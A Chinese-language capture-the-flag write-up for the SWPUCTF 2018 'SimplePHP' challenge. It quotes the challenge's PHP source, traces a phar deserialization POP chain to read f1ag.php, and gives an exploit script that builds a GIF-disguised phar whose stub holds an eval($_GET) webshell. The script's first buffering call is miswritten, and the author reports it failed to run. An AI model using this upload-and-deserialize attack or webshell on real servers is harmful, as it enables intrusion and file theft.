[SWPUCTF 2018]SimplePHP1
打开环境
有查看文件跟上传文件，查看文件里面显示没有文件url貌似可以文件读取
上传文件里面可以上传文件。
先看一下可不可以文件读取
/etc/passwd不能读取，源码提示flag在f1ag.php
看看能不能读取当前的文件，
先把代码摘下来
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) { echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) { $show->source = $file; $show->_show();
} else if (!empty($file)){ die('file doesn\'t exists.');
}
?> upload_file.php
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style> p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交">
</div> </script>
</body>
</html>funcion.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); }
}
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } }
}
?> class.php
<?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file; //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?> 审计一下
由于设置了ini_set('open_basedir','/var/www/html/');
所以只能读取/var/www/html目录
看一下function.php
只能上传后缀为gif.jpeg,jpg,png
好像绕不过去
看一下class.php
有file_get_contents()是不是可以通过构造pop链，实现读取f1ag.php呢
这里暗示用phar反序列化
正好file.ph里面有个file_exists()函数可以出发phar反序列化
分析一下链
file_get函数由get触发，get由__get触发，当指向类中不存在的变量时候可以出发__get魔法函数
看一下参数,$value由params[$key]得到，$key由出发__get函数时传入，可以控制params和key使得$value=f1ag.php
看一下如何出发__get
在Show里面
如果令str['str']=new Test()就会出发Test里面的__get
然后看如何出发_toString
C1e4r里面的echo正好可以出发toString
脚本如下
<?php
class C1e4r{public $test;public $str;
}class Show
{public $source;public $str;
}class Test
{public $file;public $params;
}$a = new Test();
$a->params['source'] ='/var/www/html/f1ag.php';$b = new Show();
$b->str['str']=$a;$c = new C1e4r();
$c->str = $b;@unlink("phar.phar");
$phar = new Phar('phar.phar'); //后缀名必须为phar
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php echo 1;eval($_GET["Smi1e"]);?>'.'<?php __HALT_COMPILER();?>');
$phar -> setMetadata($c); //将自定义的meta-data存入manifest
$phar -> addFromString('test.txt','test');//添加要压缩的文件
$phar -> stopBuffering(); //签名自动计算生成的exp.phar改成.jpg结尾之后上传
然后访问file=phar://upload/文件名即可拿到flag
md,我这里phar.readonly明明改成Off还是生成不了phar文件，无语死了。